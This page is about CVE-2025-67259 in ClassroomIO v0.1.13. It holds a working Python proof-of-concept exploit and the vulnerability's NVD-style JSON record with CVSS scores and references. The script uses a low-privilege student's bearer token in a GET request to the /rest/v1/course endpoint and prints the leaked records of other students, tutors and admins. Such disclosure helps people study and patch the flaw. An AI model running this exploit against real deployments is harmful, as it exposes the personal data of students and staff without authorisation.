CVE-2025-67259

import requests # PoC for CVE-2025-67259: Broken Access Control in ClassroomIO # Description: Exploiting the /rest/v1/course endpoint by changing POST to GET. target_host = "http://vulnerable-classroomio-instance.com" vulnerable_endpoint = "/rest/v1/course" # Simulating a captured session cookie or auth token from a low-privilege student auth_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } try: # The exploit involves changing the method to GET # Normally the application might expect a POST, but GET discloses data response = requests.get(f"{target_host}{vulnerable_endpoint}", headers=headers) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Sensitive Data:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2025-67259", "sourceIdentifier": "[email protected]", "published": "2026-04-24T16:16:23.907", "lastModified": "2026-04-24T18:16:23.980", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Broken Access Control vulnerability exists in ClassroomIO v0.1.13 where an authenticated low-privileged \"student\" user can access unauthorized course-level information by modifying intercepted API requests. Changing a captured POST request to a GET request against the /rest/v1/course PostgREST endpoint results in disclosure of sensitive information including other students details, tutor/admin profiles, and internal course metadata."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://drive.google.com/file/d/1G_IjEURNBcaSmBo4FdOo_27q-4H9MV34/view?usp=drive_link", "source": "[email protected]"}, {"url": "https://github.com/classroomio/classroomio/issues/642", "source": "[email protected]"}, {"url": "https://github.com/classroomio/classroomio/issues/642", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}